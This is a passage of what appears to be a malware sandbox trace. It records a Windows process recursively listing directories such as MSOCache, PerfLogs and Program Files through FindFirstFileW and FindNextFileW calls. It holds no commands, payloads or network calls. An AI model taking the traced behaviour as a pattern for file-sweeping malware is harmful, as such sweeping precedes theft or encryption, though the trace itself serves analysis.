cAlternateFileName="")) returned 0x26840b0 [0067.350] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.519] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87078450, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87078450, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5d1e590, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0067.520] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87abdaa0, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87abdaa0, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5cd2aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0067.520] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe57f8e0, ftCreationTime.dwHighDateTime=0x1cbe1cb, ftLastAccessTime.dwLowDateTime=0xfe57f8e0, ftLastAccessTime.dwHighDateTime=0x1cbe1cb, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0067.521] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6644b620, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x6644b620, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa81b8770, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0067.521] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8238e540, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x8238e540, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5ddcc70, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0067.522] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7bd91af0, ftCreationTime.dwHighDateTime=0x1cb07b2, ftLastAccessTime.dwLowDateTime=0x7bd91af0, ftLastAccessTime.dwHighDateTime=0x1cb07b2, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0067.522] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2a2397e0, ftCreationTime.dwHighDateTime=0x1cbe19a, ftLastAccessTime.dwLowDateTime=0x2a2397e0, ftLastAccessTime.dwHighDateTime=0x1cbe19a, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0067.522] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c1614f0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7c1614f0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xa4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.msi", cAlternateFileName="PRJPRO~1.MSI")) returned 1 [0067.523] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cabec50, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7cabec50, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.xml", cAlternateFileName="PRJPRO~1.XML")) returned 1 [0067.523] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6c87b0c0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x6c87b0c0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa6b67930, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x9b6ba9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjPrrWW.cab", cAlternateFileName="")) returned 1 [0067.523] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69dde270, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x69dde270, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa8191670, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0067.524] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0067.524] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0067.524] FindClose (in: hFindFile=0x26840b0 | out: hFindFile=0x26840b0) returned 1 [0067.527] GetProcessHeap () returned 0x550000 [0067.527] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2650070 | out: hHeap=0x550000) returned 1 [0067.527] FindNextFileW (in: hFindFile=0x56a978, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~2")) returned 1 [0067.527] GetProcessHeap () returned 0x550000 [0067.527] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2650070 [0067.527] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26840b0 [0067.532] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.534] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe5ed9630, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xe5ed9630, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x4655d500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0067.535] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16771fb0, ftCreationTime.dwHighDateTime=0x1cb12b4, ftLastAccessTime.dwLowDateTime=0x16771fb0, ftLastAccessTime.dwHighDateTime=0x1cb12b4, ftLastWriteTime.dwLowDateTime=0x46536400, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0067.535] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec54b6b0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xec54b6b0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x4a687710, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0067.535] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xde72fbf0, ftCreationTime.dwHighDateTime=0x1cb0d0b, ftLastAccessTime.dwLowDateTime=0xde72fbf0, ftLastAccessTime.dwHighDateTime=0x1cb0d0b, ftLastWriteTime.dwLowDateTime=0x49c902c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0067.536] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc9c380f0, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xc9c380f0, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x465d00f0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0067.536] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7c66670, ftCreationTime.dwHighDateTime=0x1cb0ee5, ftLastAccessTime.dwLowDateTime=0xe7c66670, ftLastAccessTime.dwHighDateTime=0x1cb0ee5, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0067.536] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95261510, ftCreationTime.dwHighDateTime=0x1cb048a, ftLastAccessTime.dwLowDateTime=0x95261510, ftLastAccessTime.dwHighDateTime=0x1cb048a, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0067.537] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb7e7af0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xeb7e7af0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x49c691c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0067.537] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80aa51d0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80aa51d0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0067.537] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749b0240, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x749b0240, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x46a46a30, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb9fa2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.cab", cAlternateFileName="")) returned 1 [0067.538] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80711960, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80711960, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468ee660, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb80800, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.msi", cAlternateFileName="")) returned 1 [0067.538] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 1 [0067.538] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 0 [0067.539] FindClose (in: hFindFile=0x26840b0 | out: hFindFile=0x26840b0) returned 1 [0067.539] GetProcessHeap () returned 0x550000 [0067.539] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2650070 | out: hHeap=0x550000) returned 1 [0067.539] FindNextFileW (in: hFindFile=0x56a978, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~2")) returned 0 [0067.539] FindClose (in: hFindFile=0x56a978 | out: hFindFile=0x56a978) returned 1 [0067.540] GetProcessHeap () returned 0x550000 [0067.540] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b8ec0 | out: hHeap=0x550000) returned 1 [0067.540] FindNextFileW (in: hFindFile=0x570aa8, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 0 [0067.540] FindClose (in: hFindFile=0x570aa8 | out: hFindFile=0x570aa8) returned 1 [0067.540] GetProcessHeap () returned 0x550000 [0067.540] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5a8eb8 | out: hHeap=0x550000) returned 1 [0067.540] FindNextFileW (in: hFindFile=0x56fd30, lpFindFileData=0x27ffa70 | out: lpFindFileData=0x27ffa70*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x4ecf3280, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0067.540] FindNextFileW (in: hFindFile=0x56fd30, lpFindFileData=0x27ffa70 | out: lpFindFileData=0x27ffa70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0067.541] GetProcessHeap () returned 0x550000 [0067.541] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2650070 [0067.541] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\*", lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26840b0 [0067.542] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.542] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 1 [0067.542] GetProcessHeap () returned 0x550000 [0067.542] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5a8eb8 [0067.542] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\Admin\\*", lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26840f0 [0067.543] FindNextFileW (in: hFindFile=0x26840f0, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.543] FindNextFileW (in: hFindFile=0x26840f0, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0067.543] FindClose (in: hFindFile=0x26840f0 | out: hFindFile=0x26840f0) returned 1 [0067.543] GetProcessHeap () returned 0x550000 [0067.543] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5a8eb8 | out: hHeap=0x550000) returned 1 [0067.543] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 0 [0067.544] FindClose (in: hFindFile=0x26840b0 | out: hFindFile=0x26840b0) returned 1 [0067.544] GetProcessHeap () returned 0x550000 [0067.544] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2650070 | out: hHeap=0x550000) returned 1 [0067.544] FindNextFileW (in: hFindFile=0x56fd30, lpFindFileData=0x27ffa70 | out: lpFindFileData=0x27ffa70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xaa3471d0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xaa3471d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0067.544] GetProcessHeap () returned 0x550000 [0067.544] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2650070 [0067.544] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\*", lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xaa3471d0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, 